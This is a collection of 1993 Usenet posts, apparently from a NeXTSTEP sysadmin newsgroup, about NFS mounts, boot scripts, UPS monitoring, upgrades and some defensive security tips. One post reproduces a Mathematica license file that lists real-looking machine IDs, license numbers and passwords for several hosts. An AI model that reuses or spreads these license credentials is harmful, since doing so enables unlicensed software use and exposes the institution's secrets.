ar: filename DSPAPcvmandelbrot.o truncated to DSPAPcvmandelbr
Am I on the wrong path? Anyone who knows a solution?
Thanks in advance
Ludger.
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From: ed@talus.com
Subject: Re: NeXT networking advice wanted...
Message-ID: <1993Jan14.035040.5576@talus.com>
Sender: ed@talus.com
Organization: Talus Corporation
References: <1993Jan7.044109.13031@fcom.cc.utah.edu>
Date: Thu, 14 Jan 1993 03:50:40 GMT
In article <1993Jan7.044109.13031@fcom.cc.utah.edu> swillden@news.ccutah.edu
(Shawn Willden) writes:
> Hi all,
>
> The math dept. at Weber State University recently acquired 10
> colorstations and a mono cube (all turbos running 3.0, of course).
> Each of the 'stations has the basic 250MB HD (meaning the
> stripped-down OS with no Developer's stuff, Webster's, etc.) but the
> cube has a 1.4 GB HD (and the full release). With ~10 mins. work I
> had the machines networked and running great but then I found myself
> faced with some difficult choices.
>
> I would like to make all the stuff on the cube available to
> all of the stations. Some options are:
>
> 1) NFSmount the cube's /NextApps, /NextDeveloper, /NextLibrary
> , /LocalApps and /LocalLibrary under /Net on the clients and
> then add the /Net/... directories to the paths (anybody know
> off the top of their heads how to make the WorkSpace Manager
> know about those directories? I can look it up, but if you
> happen to know...). One problem with this is that PB looks in
> /usr/lib for some stuff to build, so I'd probably have to
> mount the cube's /usr/lib over the clients. Oh, and I also
> have to make /usr/man a link to /Net/NextLibrary/... to get
> man pages (or tell man where to look).
>
What about mounting the directory "/foo in your cube at the /foo mount point
instead of /Net ? For example mount the cube /LocalApps at the /LocalApps
mountpoint. You just need to discover which are the directories important to
developping.
Anyone care to list them ? I was told /NextDevelopper had 'em all and that the
rest were just links. Am I right ?
Ed.
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but of the best shots.
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From: gary@nshade.uah.ualberta.ca (Gary Ritchie)
Subject: Re: a way to warn the console user
Message-ID: <1993Jan14.071235.13829@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <1993Jan12.205007.2405@ccsvax.sfasu.edu>
Date: Thu, 14 Jan 1993 07:12:35 GMT
f_cnnghamjk@ccsvax.sfasu.edu writes:
> Can someone suggest a way to warn the console user that I'm about to
reboot the machine? Write, talk or shutdown are great ONLY IF s/he has
Terminal running.
I have submitted a program to sonata.cc.purdue.edu and cs.orst.edu called
Broadcast_1.0.compressed that lets you do this. It requires NeXTSTEP 3.0.
It consists of a command-line utility "displaymsg" which pops up a panel
with a message specified on the command line. You can specify the host to
display the panel on, so you don't have to rlogin to the remote machine.
It doesn't matter if Public Window Server is on or not. There are
security issues involved, so please read the README.
It only works if someone is logged on, and requires the user to launch a
Workspace daemon once; it installs itself and launches itself
automatically from then on.
It comes with full source code, and has been exhaustively tested in the
past three minutes since I finished writing it.
From: isbell@cats.ucsc.edu (Art Isbell)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: monitoring a UPS from a serial port
Date: 14 Jan 1993 07:28:09 GMT
Organization: Cubic Solutions - NeXT software development and consulting
Message-ID: <1j34m9INNjo2@darkstar.UCSC.EDU>
References: <C0rDvn.zt@hfglobe.intel.com> <1993Jan13.154221.13028@kynug.org>
In article <1993Jan13.154221.13028@kynug.org> neil@kynug.org writes:
>There is a vendor with a UPS and software for the NeXT to monitor the
>system and properly shut down during power outages, I will find the
>information and repost.
Advanced Electronics Systems, Inc. manufactures and sells the StediLANding
system that features NeXTSTEP software (the only UPS vendor that can make that
statement, I believe) and a StediWatt UPS in several capacities. Several nice
features include a surge-protected RJ-11 jack for a modem phone line and a
surge-protected (but not with uninterruptible power) AC outlet suitable for a
laser printer in addition to 4 AC outlets featuring surge protection and
uninterruptible power. Of course, the most important feature is its black case
:-) And the next most important feature is that it's working well in all the
rain, wind, and power outages northern California is having these days.
For more info, call Scott Liddick at 800-733-3155 or s.liddick@genie.geis.com.
So if you're considering a UPS purchase, support the only UPS vendor who
supports NeXTSTEP.
From a satisfied customer...
--
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NeXTmail: isbell@cats.UCSC.EDU Voice: (408)335-1154
USmail: 95018-9442 Fax: (408)335-2515
From: al@rbc.uucp (Al Davis)
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
Subject: Re: Help: Optical disk read error
Keywords: optical
Message-ID: <1993Jan14.055050.9003@rbc.uucp>
Date: 14 Jan 93 05:50:50 GMT
References: <1993Jan14.022615.20793@nas.nasa.gov>
Organization: Huh?
In article <1993Jan14.022615.20793@nas.nasa.gov> chiu@wk211.nas.nasa.gov (Ing-Tsau Chiu) writes:
>I got the following message while reading an optical disk.
>
>Software Version 3.0 (Hyper3B)
>od0a: read failed (bitmap bad but no alternate found!) block 48 phys
>block 79441 (9114:0:1)
This should be in FAQ:
If you can't mount an OD automatically you can still recover the data.
Mount it manually! The old unix way. It will mount even if it is
corrupt. Just don't try to write to it or you may corrupt it more.
al.
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From: zeke@znext (james dehnert)
Subject: rc.local has me confused
Message-ID: <1993Jan14.053105.235@znext.cts.com>
Sender: zeke@znext.cts.com (james dehnert)
Organization: pnet
Date: Thu, 14 Jan 1993 05:31:05 GMT
I have a few things in my rc.local that I'd like to run but cant seem to make
happen. The first is just a sound,
# If all is well up to this point play the OK sound
if [ -f /LocalLibrary/Sounds/OK.snd ]; then
/usr/bin/sndplay /LocalLibrary/Sounds/OK.snd
else (echo 'sound not found') >/dev/console
fi
This used to work in 2.1, but it's a no go on 3.0. It wont even print the
error message. The second is a bit trickier. I have a program ( argus ) that
tells me when people log on and off my computer ( a bit more effeciently that
the tcsh method, which I also use ). I'd like to start it at boot time as root
and have it output to the console. I have tried variations of the following to
no avail,
# Run argus as root
if [ -f /usr/local/bin/argus ]; then
su root '/usr/local/bin/argus >/dev/console 2>&1' && \
(echo 'argus') >/dev/console
fi
Any suggestions?
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From: edmtl@alf.uib.no (Thor Legvold)
Subject: Telnet broken
Message-ID: <1993Jan14.094915.1793@alf.uib.no>
Organization: University of Bergen, Norway
Date: Thu, 14 Jan 93 09:49:15 GMT
Hi.
I thought I'd seen this covered somewhere, but I can't seem to find where...
I have a Cube and a PC hooked up via ethernett. The cube has the telnet
that comes with all NeXTs (3.0), the PC has NCSA Telnet 2.2TN-sc.
Telnet to/from PC/NeXT doesn't work, while ftp does.
Telnet from PC to Cube hangs and says unable to establish connection,
Telnet from Cube to PC gives 'packet sent to invalid port' message on
the PC.
Is there something I missed or do I need a different version of Telnet?
Please e-mail replies.
Regards,
Thor
edmtl@alf.uib.no
From: athomson@otago.ac.nz (Alastair Thomson)
Newsgroups: comp.sys.next.sysadmin
Subject: Weird file ownership problems
Message-ID: <1993Jan14.194916.522@otago.ac.nz>
Date: 14 Jan 93 19:49:16 +1300
Organization: University of Otago, Dunedin, New Zealand
I have an odd problem. I just installed a new Micropolis 1598 1GB disk on my
NSTC, running NS3.0. Thing were just dandy until I moved all my users onto that
disk. The ownership of *ALL* the files of the disk appears to change to whoever
uses it. Even when I change them all back using chown, after someone logs in,
they own all the files on the file system.
Any hints would be greatly appreciated
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|
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University of Otago, | Fax +64-3-479-8529
Department of Computer Science, | e-mail athomson@otago.ac.nz
P.O. Box 56 | NeXTmail OK
Dunedin |
New Zealand |
"God loved the world so much, that he gave us His Son, to die in
our place, so that we may have eternal life" John 3:16, paraphrase
===============================================================================
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From: gadallah@wu2.wl.aecl.ca (Larry Gadallah; B300-1-115; x2603)
Subject: Installing 3.0 directly onto OD
Message-ID: <1993Jan14.150534.26919@cu23.crl.aecl.ca>
Followup-To: poster
Summary: won't boot properly?
Keywords: NS3.0 OD boot mount
Sender: gadallah@wu2.wl.aecl.ca (Larry Gadallah)
Organization: AECL Research, Whiteshell Laboratories
Date: Thu, 14 Jan 1993 15:05:34 GMT
I recently attempted to build a 3.0 boot disk on a new OD. I booted from
the 3.0 installation floppy and CD, requested that a new system be build
on the "od0a" disk and answered "y" when I was asked if the disk should
be initialized. Several hours later, the installation utility finished
and I hit enter to reboot. The boot seems to be OK until I get a message
saying that mount could not remount /dev/od0a on /, but it continues,
and there are further messages from syslog saying that /dev/log could
not be created and then during startup of the network daemons, lookupd
just hangs waiting for something. I was able to boot the OD in single
user, but the entire file system is mounted read-only somehow. How can
I fix this? I looked at the /etc/fstab for my 2.1 OD, and it looks the
same as the 3.0 OD.
Thanks in advance,
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From: harit@kripalu.com
Subject: Re: >>> HELP PLEASE <<< NS 1.0 -> NS 3.0...very tough!!!
Message-ID: <1993Jan14.122511.1100@uunet!cbmvax!xmws!kripalu>
Sender: harit@uunet!cbmvax!xmws!kripalu
Organization: Kripalu Center
References: <C0rwIK.C70@news.cso.uiuc.edu>
Distribution: usa
Date: Thu, 14 Jan 93 12:25:11 GMT
In article <C0rwIK.C70@news.cso.uiuc.edu> windsor@symcom.math.uiuc.edu (Eric W.
Blankenburg) writes:
> I am currently trying to upgrade my Next Cube from NextStep 1.0 directly
> to NextStep 3.0. I don't have a floppy. I do have a CD-ROM Drive. I also
> have a OD, but it may be useless under 3.0. I also have a 33 Mhz 040 board
> that I want to install. I have the NextStep 3.0 Distribution CD.
>
> Here's the first question. Is there a CD-ROM Driver that runs under 1.0?
> If so, where do I get it?
>
> Will NextStep 3.0 boot on an 030 motherboard?
>
> Is it essential that I have a 2.88 Floppy drive to install 3.0?
>
> If a CD-ROM Driver exists for 1.0, can I boot 3.0 from the CD-ROM drive and
> upgrade my system?
>
>
> If I have missed any salient points about upgrading from 1.0 to 3.0, please
> realize that I only wanted to post a short note. If you know how to upgrade
> from 1.0 to 3.0, please send me email at windsor@symcom.math.uiuc.edu.
>
> Thanks in advance
>
> windsor
With that drastic an upgrade I would recomend making a backup of your disk,
installing 3.0 from scratch, and then restoring your user and admin files. If
the OD is the only disk you have this gets harder. The CD when booted directly
will initialize a disk as a 3.0 disk and needs no floppy driver. Another
approach that MIGHT work is to boot standalone from the CD, manually finish the
boot sequence by executing the rc script. Then doing the upgrade. You will
need to provide the /tmp directory as a writable directory, and there may be
other things I have overlooked. I have not had to do this but I have come
close when recovering from 3.0 upgrade problems.
--
Michael Allen Latta
Kripalu Center
harit@kripalu.com
(413)448-3288
Newsgroups: comp.sys.next.sysadmin
From: anderson@macc.wisc.edu (Jess Anderson)
Subject: Re: monitoring a UPS from a serial port
Message-ID: <1993Jan14.155818.11950@macc.wisc.edu>
Sender: news@macc.wisc.edu (USENET News System)
Organization: Madison Academic Computing Center, UW-Madison
References: <C0rDvn.zt@hfglobe.intel.com> <1993Jan13.154221.13028@kynug.org> <1j34m9INNjo2@darkstar.UCSC.EDU>
Date: Thu, 14 Jan 93 15:58:18 GMT
In article <1j34m9INNjo2@darkstar.UCSC.EDU>
isbell@cats.ucsc.edu (Art Isbell) writes:
>So if you're considering a UPS purchase, support the only UPS vendor who
>supports NeXTSTEP.
>From a satisfied customer...
If possible, could you please post price/capacity into?
Thanks!
--
[Jess Anderson <> Madison Academic Computing Center <> University of Wisconsin]
[Internet: anderson@macc.wisc.edu <-best, UUCP:{}!uwvax!macc.wisc.edu!anderson]
[Room 3130 <> 1210 West Dayton Street / Madison WI 53706 <> Phone 608/262-5888]
[---------> Discrimination, Bigotry, and Hate are not Family Values <---------]
From: sears@tree.egr.uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: symbolic links to different local hard disk? (Mathematica on server)
Date: 14 Jan 1993 16:03:22 GMT
Organization: University of Houston
Message-ID: <1j42saINN62n@menudo.uh.edu>
References: <1j20phINNap7@stimpy.css.itd.umich.edu>
In article <1j20phINNap7@stimpy.css.itd.umich.edu> danno@css.itd.umich.edu
(Daniel T. Pritts) writes:
#
#Why not just put Mathematica on your NFS server? Oh, I suppose MMa's
#licensing scheme doesn't like that. Perhaps Wolfram has a
#NFS-Mountable version of MMa? Knowing them probably not but you
#never know.
#--
#dan pritts consultant/system administrator
#dan.pritts@umich.edu um itd/css unix support group
#313/998-6265
Mathematica works just fine on a server. Place it in /LocalApps. In
fact, their licensing scheme works well with app located on a server. In
Mathematica.app/Kernel/NeXT there is a file called mathpass. Here is
where you place your password information. We have Mathematica licensed
for over 40 stations and all the information is kept in this one file.
For example:
% Mathematica password file
% fill in entries for each host for which you have a license
% with the program 'mathinfo'. See installation instructions for details.
%
%machinename machineID License Password
%
%tree 4800-16812-36268 L2049-0742 7849-051-485
%tree 4800-16812-30493 L2049-0742
0584-503-116::920720
williams 4800-16816-26706 L2068-4386 9974-395-206
sysmod 4800-16844-13858 L2134-8779 9346-179-020
liehr 4800-16812-28649 L2067-0414 2007-203-502
sdl 4800-16840-26789 L2104-5989 9266-130-615
birch 4800-16813-33950 L2083-2220 3458-431-825
spruce 4800-16813-48930 L2083-2182 6342-189-932
You can comment out entries that are licensed but you don't want to run it
on (ie., our servers). Try it, it works....
--
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The University of Houston * suggestions@tree.egr.uh.edu (NeXT
Engineering Computing Center * comments, complaints, questions)
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Newsgroups: comp.sys.next.sysadmin
From: gary@nshade.uah.ualberta.ca (Gary Ritchie)
Subject: Re: a way to warn the console user
Message-ID: <1993Jan14.170710.5472@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <1993Jan14.071235.13829@kakwa.ucs.ualberta.ca>
Date: Thu, 14 Jan 1993 17:07:10 GMT
[I wrote]
> I have submitted a program to sonata.cc.purdue.edu and cs.orst.edu
called Broadcast_1.0.compressed that lets you do this.
The .compressed file got corrupted somehow, so I have resubmitted it to
both sites. If something goes wrong again, you can anon ftp it from:
nshade.uah.ualberta.ca (/pub/submissions/Broadcast_1.0.compressed)
----
Gary Ritchie
From: isbell@cats.ucsc.edu (Art Isbell)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: monitoring a UPS from a serial port
Date: 14 Jan 1993 17:46:11 GMT
Organization: Cubic Solutions - NeXT software development and consulting
Message-ID: <1j48t3INNra2@darkstar.UCSC.EDU>
References: <1993Jan13.154221.13028@kynug.org> <1j34m9INNjo2@darkstar.UCSC.EDU> <1993Jan14.155818.11950@macc.wisc.edu>
In article <1993Jan14.155818.11950@macc.wisc.edu> anderson@macc.wisc.edu (Jess Anderson) writes:
>In article <1j34m9INNjo2@darkstar.UCSC.EDU>
>isbell@cats.ucsc.edu (Art Isbell) writes:
>>So if you're considering a UPS purchase, support the only UPS vendor who
>>supports NeXTSTEP.
>If possible, could you please post price/capacity into?
>Thanks!
I'd rather not post the price I paid because I'm not sure whether I got a
special price as an early guinea pig or not :-) I can say that I could have
paid less money for a UPS of equivalent capacity (but not totally equivalent
features which makes the comparison more difficult), but then I wouldn't have
any NeXTSTEP battery testing and automatic shutdown software. I place a
considerable value on any product that supports NeXTSTEP at a time when doing
is more risky and probably less lucrative than supporting other platforms
(which Advanced Electronics Systems does as well, but with the usual "white"
hardware).
I bought the smallest StedLANding system which includes the 500 Turbo StediWatt
UPS of 400 watt capacity (I guess the "500" refers to its capacity in
volt-amps). The literature I have mentions systems up to 1000 watts (1250
volt-amps) and I see product descriptions for the 750 Turbo, the 950, and the
1250 (Turbo models include some sort of very fast switching technology with a
claimed switching time of as little as 20 microseconds as opposed to the
conventional switching technology on the non-Turbo models which feature
switching times of as much as 2 milliseconds, so I'm not sure how to categorize
the Turbo models in the usual "standby", "line-interactive", and "on-line"
spectrum). The specs for the 500 Turbo indicate that I can expect for battery
power to last for more than 10 minutes with the load I'm running (a Cube with
an internal HD and MOD drives, an external CD-ROM and floppy drives, and a
modem), but it I push things to the limit (as I did last night :-), the
configurable automatic shutdown provided by the software ensures a clean
(sync'ed) shutdown which is an important feature that other systems without
NeXTSTEP software don't provide.
Advanced Electronics Systems placed an ad in the current NeXTWORLD for
StediLANding, so it must be ready to sell to NeXT users (which means it must
have pricing set). The included software is still being enhanced (it's easy to
see its origin in other Unix systems), so a 1-year free software upgrade policy
is included along with the hardware's 3-year limited warranty. I expect to see
software improvements, but the only real problem I've seen is an occasional 4
false positive (about 4 in 2 months of a lot of power outages). A false
positive is when an Alert panel and voice message state that a power problem
has been detected even though the UPS hasn't gone into battery mode and no
apparent power problems are obvious, but this is immediately followed by
another Alert panel and voice message stating that power has been restored.
Proper operation wouldn't alert me to a power problem until the problem had
lasted for a configurable amount of time (10 seconds, by default), so I suspect
some sort of bug, but certainly not a serious one like not being warned about a
genuine power problem (although the UPS beeps when in battery mode, so
detecting a power outage isn't tough and working in the dark is another sure
sign :-)
For more info, contact Scott Liddick at (800)733-3155.
--
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NeXT Registered Developer #745 NeXT software development and consulting
NeXTmail: isbell@cats.UCSC.EDU Voice: (408)335-1154
USmail: 95018-9442 Fax: (408)335-2515
Newsgroups: comp.sys.next.sysadmin
From: sherwood@space.ualberta.ca (System Administrator)
Subject: Re: NeXT networking advice wanted...
Message-ID: <1993Jan14.200048.11755@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <1993Jan7.044109.13031@fcom.cc.utah.edu>
Date: Thu, 14 Jan 1993 20:00:48 GMT
Shawn Willden (swillden@news.ccutah.edu) wrote:
: Hi all,
:
: The math dept. at Weber State University recently acquired 10
: colorstations and a mono cube (all turbos running 3.0, of course).
: Each of the 'stations has the basic 250MB HD (meaning the
: stripped-down OS with no Developer's stuff, Webster's, etc.) but the
: cube has a 1.4 GB HD (and the full release). With ~10 mins. work I
: had the machines networked and running great but then I found myself
: faced with some difficult choices.
:
: I would like to make all the stuff on the cube available to
: all of the stations. Some options are:
:
: 1) NFSmount the cube's /NextApps, /NextDeveloper, /NextLibrary
: , /LocalApps and /LocalLibrary under /Net on the clients and
: then add the /Net/... directories to the paths (anybody know
: off the top of their heads how to make the WorkSpace Manager
: know about those directories? I can look it up, but if you
: happen to know...). One problem with this is that PB looks in
: /usr/lib for some stuff to build, so I'd probably have to
: mount the cube's /usr/lib over the clients. Oh, and I also
: have to make /usr/man a link to /Net/NextLibrary/... to get
: man pages (or tell man where to look).
:
Don't do this. I don't know if they got rid of it in 3.0, but 2.x
machines won't boot with /NextLibrary on a non-local disk.
: 2) NFSmount the cube's directories listed above over the top
: of the corresponding directories on the stations (and probably
: remove the local copies). This has the disadvantage that the
: Apps we *want* to place on the local hard drives will have to
: be placed in some folder other than /LocalApps because the
: local /LocalApps is hidden. Once again, it is necessary to
: tell the WS manager to look in the new directories.
This is also a bad idea -- For just the reasons you mentioned.
:
: 3) Netboot the clients. I *believe* (not having done it or
: even read about it extensively) that this will mount the
: cube's HD as the root of the local file system and will create
: a /<something> subdirectory and mount the local HD there.
: Again, it is necessary to tell the WS manager about the new
: directories where it can expect to find apps.
:
: Please tell me about any other options you can think of.
Netbooting will place an awful strain on your net. It's nice for booting and
rebuilding a disk, but otherwise I wouldn't touch it.
:
: Questions:
:
: 1) In your experience, what is the best was to solve my
: problem?
:
: 2) In all of the above options network usage is going to be
: fairly heavy. How much of a problem is this likely to pose?
: How about option 3 (netbooting)?
:
: 3) In all cases, I'm going to need to add to the list of
: directories the WS manager expects to find apps in. I assume
: that some dwrite is necessary to make this change. Is there a
: way I can make the change global so I don't have to do it for
: every user?
:
The way I solved this was to do the following:
/NextApps was left on each machine, but many apps were stripped out of
it. My default is to have Edit, Stuart and Mathematica. The others
were moved to /LocalApps.
/NextLibrary was left on each machine. However the references for
Webster and Quotations were moved to /LocalLibrary, and a link left in their
place. The link from /usr/man to /NextLibrary/whatever/Manpages was replaced
with a link to /LocalLibrary/ManPages
On one of the local servers I created and exported a directory called
NextDisk. It has LocalLibrary LocalApps NextDeveloper and Untested.
Nextdisk is exported to our local group, and is mounted everywhere as
/.NextDisk.
All machines (including the server) have links pointing from
/LocalApps -> /.NextDisk/LocalApps
/LocalLibrary -> /.NextDisk/LocalLibrary
/NextDeveloper -> /.NextDisk/NextDeveloper
etc.
By doing this, you only have one mount, and only one set of
mountpoint/.NextTrash directories
:
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=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
From: wadlow@bela.music.washington.edu (John Wadlow)
Newsgroups: comp.sys.next.sysadmin
Subject: Help with Swapfiles
Message-ID: <1j4iqoINN8s6@shelley.u.washington.edu>
Date: 14 Jan 93 20:35:36 GMT
Article-I.D.: shelley.1j4iqoINN8s6
Distribution: world
Organization: University of Washington
I hope this is the right place to post this.
Does anyone know anything about swap files? Our Next computer's virtual memory
(and disk space) gets filled up and the only way we know how to clear the swap
files (in private/vm/swapfile) is to reboot. We do a lot with generating sound
files and editing digital sound. Is there a program we can use that
automatically clears this file every other day? Is there another way of
clearing this file other than rebooting?
Thanks
note: we using system 2.0 (system 2.1 ?) for the NeXT
john a wadlow
jwad@u.washington.edu
Newsgroups: comp.sys.next.sysadmin
From: zaphod@ctrg.rri.uwo.ca (Lance R. Bailey)
Subject: Re: NeXT networking advice wanted...
Organization: University of Western Ontario
Distribution: na
Date: Thu, 14 Jan 1993 21:23:26 GMT
Message-ID: <1993Jan14.212326.4472@julian.uwo.ca>
References: <1993Jan14.200048.11755@kakwa.ucs.ualberta.ca>
Sender: news@julian.uwo.ca (USENET News System)
In article <1993Jan14.200048.11755@kakwa.ucs.ualberta.ca>
sherwood@space.ualberta.ca (System Administrator) writes:
>
>Don't do this. I don't know if they got rid of it in 3.0, but 2.x
>machines won't boot with /NextLibrary on a non-local disk.
>
sorry, that's just plain wrong. all my 2.1 machines NFS mount the same
/NextLibrary
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fax: +1 519 663 3789 P.O. Box 5015, 100 Perth Dr.
vox: +1 519 663 3787 x4108 London, Canada N6A 5K8
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Newsgroups: comp.sys.next.sysadmin
From: mross@antigone.com
Subject: Re: rc.local has me confused
Message-ID: <1993Jan14.184638.3508@antigone.com>
Organization: Antigone Press, San Francisco, CA, USA
References: <1993Jan14.053105.235@znext.cts.com>
Date: Thu, 14 Jan 1993 18:46:38 GMT
james dehnert (zeke@znext) wrote:
: I have a few things in my rc.local that I'd like to run but cant seem to make
: happen. The first is just a sound,
: # If all is well up to this point play the OK sound
: if [ -f /LocalLibrary/Sounds/OK.snd ]; then
: /usr/bin/sndplay /LocalLibrary/Sounds/OK.snd
: else (echo 'sound not found') >/dev/console
: fi
: This used to work in 2.1, but it's a no go on 3.0. It wont even print the
: error message. The second is a bit trickier. I have a program ( argus ) that
: tells me when people log on and off my computer ( a bit more effeciently that
: the tcsh method, which I also use ). I'd like to start it at boot time as root
: and have it output to the console. I have tried variations of the following to
: no avail,
: # Run argus as root
: if [ -f /usr/local/bin/argus ]; then
: su root '/usr/local/bin/argus >/dev/console 2>&1' && \
: (echo 'argus') >/dev/console
: fi
: Any suggestions?
Yes. I have had many problems too with rc.local and have found that most things
that don't work as advertised will work if you:
1. Create a csh script with the commands, save them in a file and
2. Run the shell script from rc.local with /bin/csh
As far as argus goes, you are missing the -c in the su command:
su root -c '...
And why are you su-ing root anyway? All rc scripts are executed as root.
Good luck.
--
Michael Ross
Antigone Press, San Francisco, California
e-mail: mross@antigone.com
FAX: 1-415-431-3650
From: paterson@gdss.commerce.ubc.ca (Toby Paterson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: security
Date: 14 Jan 1993 22:10:34 GMT
Organization: The University of British Columbia
Message-ID: <1j4ocqINN1ur@iskut.ucs.ubc.ca>
References: <C0tpnu.K31@ux1.cso.uiuc.edu>
Another point to be aware of is with respect to running X windows on the
NeXT. The public domain versions of the X server require the /dev/vid0
device be made read/writeable to everyone. (I don't know about the
commercial versions, though I strongly suspect this is the case with them
too.) This has two drawbacks. Firstly, anyone can draw anything they
want to all over your screen. This is little more than a nuisance. HMore
importantly, however, NVRAM is accessed through the vid0 device. I believe
only the root id can access NVRAM (or maybe its the owner of the vid0
device, which just happens to be root) regardless of these settings, but
this is still a layer of protection stripped away. (Amongst other things,
the hardware password is stored in NVRAM.)
Or maybe I'm just paranoid :)
X
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//\ What: Grunt and NeXT hacker; GDSS Fellowship
// \ Where: University of British Columbia
From: steffi.demon.co.uk!root (Operator)
Newsgroups: comp.sys.next.sysadmin,news.software.nntp
Subject: INN on NeXT
Date: 14 Jan 1993 22:45:26 -0000
Organization: me organised, that's a joke!
Sender: root@steffi.demon.co.uk
Distribution: world
Message-ID: <1j4qe6INNbq@steffi.demon.co.uk>
Has anybody had problems using INN on a NeXT. In particular problems with
nntpget.
nntpget will work fine for me only if I don't offer the articles to the
local server when I do by specifying the -o option it just sits there and
times out. When I specify the same information to newnews on port 119 of
my host I get back a list of the headers that match my pattern.
Why oh Why doesn't nntpget suck this headers up when it reads them?
This is the nntpget line I am using
/bin/su news -c "/usr/local/news/bin/nntpget -n comp.sys.next.misc -t
$DATE -o n
ews.demon.co.uk"
where DATE='"930111 000000"'
Those who know INN is it suited for SLIP connections? I keep timing out
with my host when nntpgetting. I am rapidly losing patience with it.
Cheers.
From: matthews@oberon.umd.edu (Mike Matthews)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: security
Message-ID: <17971@umd5.umd.edu>
Date: 14 Jan 93 23:59:05 GMT
References: <1993Jan14.101109.516@otago.ac.nz> <1j2i8m$3im@agate.berkeley.edu>
Sender: news@umd5.umd.edu
Organization: Los Alamos National Laboratory, NM
In article <1j2i8m$3im@agate.berkeley.edu> izumi@pinoko.berkeley.edu writes:
[true stuff about Public Window Server munched]
>The problem is compounded by the facts:
>(1) Public Window Server setting is controlled by each user.
> Sysadmin can only warn users to minimize its use.
You can disable it completely. Under NeXTstep 2.x, just go into the .nib
file for the Expert Preferences field and remove the buttons. Under 3.0,
niutil -createprop / / security_options discourage_public_servers.
Then, for the piece de resistance, put the following into your Login Hook
code:
su $1 -c 'dwrite System PublicWindowServer NO'
(might want to get the PublicSoundSever there too, which will completely
disable it as that won't take effect until you log out and back in)
so whenever they log in it gets turned off (if they do a dwrite they can
make it so that it'll be enabled next time they log in, but if the loginhook
turns it back off again...).
>(2) There is no fine-grain access control for remote access to
> the WindowServer. All or none switch is just not
> acceptable.
True.
>So, if you are buying NeXTs in quantity, press NeXT to do something
>about it.
Good luck.
>Izumi Ohzawa
------
Mike Matthews, matthews@oberon.umd.edu (NeXTmail accepted)
------
"And what will you do when you grow up to be as big as me?"
asked the father of his little son.
"Diet."
From: shuque@spectre.sas.upenn.edu (Shumon Huque)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NeXT networking advice wanted...
Message-ID: <104933@netnews.upenn.edu>
Date: 14 Jan 93 23:26:31 GMT
References: <1993Jan14.200048.11755@kakwa.ucs.ualberta.ca> <1993Jan14.212326.4472@julian.uwo.ca>
Sender: news@netnews.upenn.edu
Distribution: na
Organization: University of Pennsylvania
In article <1993Jan14.212326.4472@julian.uwo.ca> zaphod@ctrg.rri.uwo.ca writes:
>>Don't do this. I don't know if they got rid of it in 3.0, but 2.x
>>machines won't boot with /NextLibrary on a non-local disk.
>>
>sorry, that's just plain wrong. all my 2.1 machines NFS mount the same
>/NextLibrary
>
>--
>Lance R. Bailey System/Network Manager Robarts Research Institute
I have mounted /NextLibrary from a remote machine too, and it works fine
most of the time. The only problem is when the NFS server goes down, and
you reboot the client machine, the login window does not appear as it
cannot find /NextLibrary/Fonts. Is it recommended practice to mount
/NextLibrary?
Shumon Huque
shuque@spectre.sas.upenn.edu
Newsgroups: comp.sys.next.sysadmin
From: gmk@pegasos.ccsr.uiuc.edu (Gottfried Mayer-Kress)
Subject: Mail Address files?
Message-ID: <C0vDHw.CvJ@news.cso.uiuc.edu>
Sender: usenet@news.cso.uiuc.edu (Net Noise owner)
Organization: University of Illinois at Urbana
Date: Fri, 15 Jan 1993 00:32:18 GMT
I would like to import larger files into my NeXT Mail address list.
I cannot find where that file is located and how I could access/edit it.
Do I really have to put in every address by hand?
--
Gottfried Mayer-Kress
Center for Complex Systems Research, Department of Physics
3025 Beckman Institute, 405 N Mathews, Urbana, Il 61801
gmk@pegasos.ccsr.uiuc.edu (NeXT-Mail)
gmk@goshawk.lanl.gov, gmk@santafe.edu
(217)-244-5877 (voice/fax modem),x8371(fax), x1994 (msg)
Newsgroups: comp.sys.next.sysadmin
Subject: How to get a recycler on new hard disk
Message-ID: <1993Jan15.133051.528@otago.ac.nz>
From: athomson@otago.ac.nz (Alastair Thomson)
Date: 15 Jan 93 13:30:51 +1300
Organization: University of Otago, Dunedin, New Zealand
First of all thanks to all those that answered my previous post about the
automounter problem.
I still have one small problem: How do I get a recycler on the new disk?
--
===============================================================================
|
Alastair Thomson, | Phone +64-3-479-8347
University of Otago, | Fax +64-3-479-8529
Department of Computer Science, | e-mail athomson@otago.ac.nz
P.O. Box 56 |
Dunedin |
New Zealand |
"God loved the world so much, that he gave us His Son, to die in
our place, so that we may have eternal life" John 3:16, paraphrase
===============================================================================
From: lpratt@slate.mines.colorado.edu (Lorien Pratt)
Newsgroups: comp.sys.next.sysadmin
Subject: How do I set up my next for anonymous ftp?
Message-ID: <1993Jan14.231759.40483@slate.mines.colorado.edu>
Date: 14 Jan 93 23:17:59 GMT
Sender: lpratt@slate.mines.colorado.edu (Lorien Pratt)
Organization: Colorado School of Mines
The subject line says it all -- could somebody please tell me how to set up
anonymous ftp on my next? thanks!
--Lori
--
L. Y. Pratt Dept. of Math and Computer Science
lpratt@franklinite.mines.colorado.edu Colorado School of Mines
(303) 273-3878 (work) 402 Stratton
(303) 278-4552 (home) Golden, CO 80401, USA
Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin
From: jdyer.wbst129@xerox.com (John D. Dyer)
Subject: Trouble upgrading to 3.0
Message-ID: <1993Jan14.174441.13524@spectrum.xerox.com>
Keywords: 3.0,upgrade,help
Sender: news@spectrum.xerox.com
Organization: Xerox Corporation, Webster NY
Date: Thu, 14 Jan 1993 17:44:41 GMT
Well, I'm probably one of the last NeXT users to 'try'
to upgrade, and I'm having much difficulty. Here's my
current configuration:
NeXTStation Mono 040
400 Meg Hard Drive, 130 Megs free
Release 2.0 (current)
NeXT CD-ROM Drive/3.0 bundle
